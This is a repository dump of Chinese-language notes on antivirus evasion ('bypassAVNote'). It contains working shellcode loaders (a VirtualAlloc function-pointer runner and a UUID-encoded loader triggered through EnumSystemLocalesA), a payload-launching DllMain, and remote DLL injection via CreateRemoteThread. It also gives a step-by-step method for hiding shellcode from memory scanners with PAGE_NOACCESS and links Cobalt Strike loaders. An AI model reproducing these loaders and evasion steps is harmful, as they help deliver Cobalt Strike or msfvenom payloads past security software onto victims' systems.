├── .DS_Store ├── 工具类 ├── .DS_Store ├── ShellcodeFluctuation │ ├── image-20220624113514697.png │ └── README.md └── KaynStrike │ └── README.md ├── 编程类 ├── .DS_Store ├── go │ └── index.md └── C │ ├── README.md │ ├── 函数指针.c │ ├── dll_injection_basest.cpp │ ├── uuid.c │ └── remote_load_dll.cpp └── README.md /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/a1phaboy/bypassAVNote/HEAD/.DS_Store -------------------------------------------------------------------------------- /工具类/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/a1phaboy/bypassAVNote/HEAD/工具类/.DS_Store -------------------------------------------------------------------------------- /编程类/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/a1phaboy/bypassAVNote/HEAD/编程类/.DS_Store -------------------------------------------------------------------------------- /编程类/go/index.md: -------------------------------------------------------------------------------- 1 | [GoBypassAV](https://github.com/TideSec/GoBypassAV/) 2 | 3 | [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bypassAVNote 2 | *免杀死亡笔记* 3 | 4 | ***记录一些免杀需要的程序设计✍️比如内存注入,DLL注入,syscall等等** 5 | 6 | ***收集一些具有特点的免杀工具👉我会尽可能分析其中用到的技术原理** 7 | 8 | -------------------------------------------------------------------------------- /工具类/ShellcodeFluctuation/image-20220624113514697.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/a1phaboy/bypassAVNote/HEAD/工具类/ShellcodeFluctuation/image-20220624113514697.png -------------------------------------------------------------------------------- /工具类/KaynStrike/README.md: -------------------------------------------------------------------------------- 1 | 项目地址:https://github.com/Cracked5pider/KaynStrike 2 | 3 | 类型:cs loader 4 | 5 | 特点:syscall, ROP 6 | 7 | ----- 8 | 9 | 最大特点莫过于将加载入口点从内存中释放掉了,导致没有留下明显的加载入口点 10 | 11 | **源码分析** 12 | 13 | -------------------------------------------------------------------------------- /编程类/C/README.md: -------------------------------------------------------------------------------- 1 | **函数指针** 2 | 3 | 最简单粗暴的shellcode调用方法,VirtualAlloc用以开辟堆空间,返回该空间的起始地址,通过memcpy将存放shellcode的数组拷贝到堆空间内,通过函数指针的方式调用该堆空间。 4 | 5 | > 生成的shellcode已经是机器码了,因此计算机能够直接运行,而不需要进行编译 6 | 7 | ------ 8 | 9 | **UUID** 10 | 11 | 通过将加密成以UUID形式的shellcode通过在内存中解密为原始shellcode(通过UuidFromStringA进行解密),通过EnumSystemLocalesA函数进行回调调用。 12 | 13 | ----- 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /编程类/C/函数指针.c: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "Windows.h" 3 | 4 | int main() 5 | { 6 | unsigned char shellcode[] = 7 | /* 8 | cs shellcode or msfvenom 9 | */ 10 | 11 | void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 12 | memcpy(exec, shellcode, sizeof shellcode); 13 | ((void(*)())exec)(); 14 | 15 | return 0; 16 | } -------------------------------------------------------------------------------- /编程类/C/dll_injection_basest.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 2 | #include "pch.h" 3 | 4 | DWORD WINAPI ThreadProc(LPVOID lParam) { 5 | /* your payload. */ 6 | } 7 | 8 | 9 | BOOL APIENTRY DllMain( HMODULE hModule, 10 | DWORD ul_reason_for_call, 11 | LPVOID lpReserved 12 | ) 13 | { 14 | switch (ul_reason_for_call) 15 | { 16 | HANDLE hThread = NULL; 17 | case DLL_PROCESS_ATTACH: 18 | 19 | hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //加载该dll文件会自动执行 DLL_PROCESS_ATTACH 分支语句,利用此规则生成线程(注意线程的父进程属于此dll而非对象文件) 20 | CloseHandle(hThread); 21 | 22 | case DLL_THREAD_ATTACH: 23 | case DLL_THREAD_DETACH: 24 | case DLL_PROCESS_DETACH: 25 | break; 26 | } 27 | return TRUE; 28 | } 29 | 30 | -------------------------------------------------------------------------------- /编程类/C/uuid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #pragma comment(lib,"Rpcrt4.lib") 5 | 6 | const char* uuids[] ; 7 | 8 | int main() 9 | { 10 | FreeConsole(); 11 | HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 12 | void* ha = HeapAlloc(hc, 0, 0x100000); 13 | DWORD_PTR hptr = (DWORD_PTR)ha; 14 | int elems = sizeof(uuids) / sizeof(uuids[0]); 15 | 16 | for (int i = 0; i < elems; i++) { 17 | RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr); 18 | if (status != RPC_S_OK) { 19 | printf("UuidFromStringA() != S_OK"); 20 | CloseHandle(ha); 21 | return -1; 22 | } 23 | hptr += 16; 24 | } 25 | EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0); 26 | CloseHandle(ha); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /工具类/ShellcodeFluctuation/README.md: -------------------------------------------------------------------------------- 1 | 在这篇文章中,作者认为的杀软引擎大致可分为2类:静态扫描引擎和内存/运行时扫描引擎。 2 | 3 | 对于静态扫描我们能很简单的理解:通过扫描磁盘文件,分析文件或某块文件的二进制部分是否命中了病毒特征库;而动态扫描(其实也就是内存扫描),则是会在3个阶段会唤起杀软对文件及文件运行的实例程序的内存地址进行扫描,分别是:在文件进行读和写时(我们在保存beacon以及编辑shellcode的时候就会碰到这样的问题),周期性扫描(有时扫描引擎会在后台进行周期性扫描)和敏感行为检测(调用了一些被重点观测的黑名单API函数)。 4 | 5 | 其实绕过静态扫描是非常简单的,只需对shellcode进行加密,就能使操作码面目全非,然后在内存中执行这段操作码前进行解密即可;另种可行的办法就是进行内存注入,比较典型的就是[mortar](https://github.com/0xsp-SRD/mortar)就是采用加密后的文件在内存中载入解密器对文件进行解密。 6 | 7 | 相比较静态扫描,动态扫描更加严格。作者通过分析meterpreter源码发现实际上是通过CreateProcess这个API函数来创建新进程的,在进行debug跟踪时,发现在调用CreateUserProcess后会接着调用syscall。其实也就是说,即使在用户态上不存在任何的钩子去hook函数,当我们去调用一些特别的API函数时,杀软会在内核态上进行hook,并且对调用这个API函数的内存块拉起扫描,这也是之前提到的第三点:敏感行为检测。 8 | 9 | 那如何规避敏感行为检测呢?常规方法有2种:不去使用敏感的特殊API函数,例如CreateProcess或是CreateRemoteThread等(之前有实现过通过将shellcode加密成uuid的形式,然后通过UuidToString的函数来还原加载shellcode,就是利用了不在黑名单里的API函数,但是现在好像也进黑名单了2333),另一种是当检测到扫描时添加一些指令或是动态加解密。 10 | 11 | 然后就是作者提出的一个想法:通过动态地改变内存块的属性(RWX)或是设置PAGE_NOACCESS属性来使杀软没有权限去进行扫描。于是当我们在调用一个敏感API接口的时候立马将内存块设置为PAGE_NOACCESS的状态,那么杀软就无法扫描内存块中的内容。 12 | 13 | > **PAGE_NOACCESS** 14 | > 15 | > Microsoft docs 给出的解释是不允许任何的读、写和执行操作 16 | > 17 | > ![;](image-20220624113514697.png) 18 | 19 | 因此完成一次执行和规避需要几个步骤: 20 | 21 | 1. 安装一个钩子去探测敏感函数被调用时杀软的触发的hook 22 | 2. 当敏感函数触发了杀软的hook时,将shellcode挂起 23 | 3. 设置shellcode内存块的属性为PAGE_NOACCESS 24 | 4. 等待扫描结束 25 | 5. 设置shellcode内存块的属性为RWX 26 | 6. 拉起线程继续执行 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /编程类/C/remote_load_dll.cpp: -------------------------------------------------------------------------------- 1 | BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { 2 | 3 | HANDLE hProcess = NULL; 4 | HANDLE hThread = NULL; 5 | HMODULE hMod = NULL; 6 | LPVOID pRemoteBuf = NULL; 7 | DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); 8 | LPTHREAD_START_ROUTINE pThreadProc; 9 | 10 | //使用dwPID获取目标进程句柄 11 | //得到PROCESS_ALL_ACCESS权限后便可以使用获取的句柄控制对应的进程 12 | if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) { 13 | _tprintf(L"[-]OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError()); 14 | return FALSE; 15 | } 16 | 17 | //在目标进程hProcess内存中分配dwBufSize大小的内存空间 18 | pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); 19 | 20 | //将DLL文件路径写入内存 21 | WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); 22 | 23 | //先获取模块句柄,再从句柄中获取LoadLibraryW() API的地址 24 | //LoadLibraryW()是LoadLibrary()的Unicode字符串版本 25 | //Win OS中,kernel32.dll在每个进程中的加载地址是一致的,故不用特意获取加载到目标进程的kernel32.dll的LoadLibraryW() API地址而直接加载本身的即可 26 | hMod = GetModuleHandle(L"kernel32.dll"); 27 | pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW"); 28 | 29 | //令目标进程hProcessd调用CreateRemoteThread()从而调用LoadLibrary() 30 | //其中线程函数ThreadProc()与LoadLibrary()两者形态结构一致,即LoadLibrary()可当做线程函数来执行 31 | hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); 32 | WaitForSingleObject(hThread, INFINITE); 33 | //关闭线程和句柄 34 | CloseHandle(hThread); 35 | CloseHandle(hProcess); 36 | 37 | return TRUE; 38 | } --------------------------------------------------------------------------------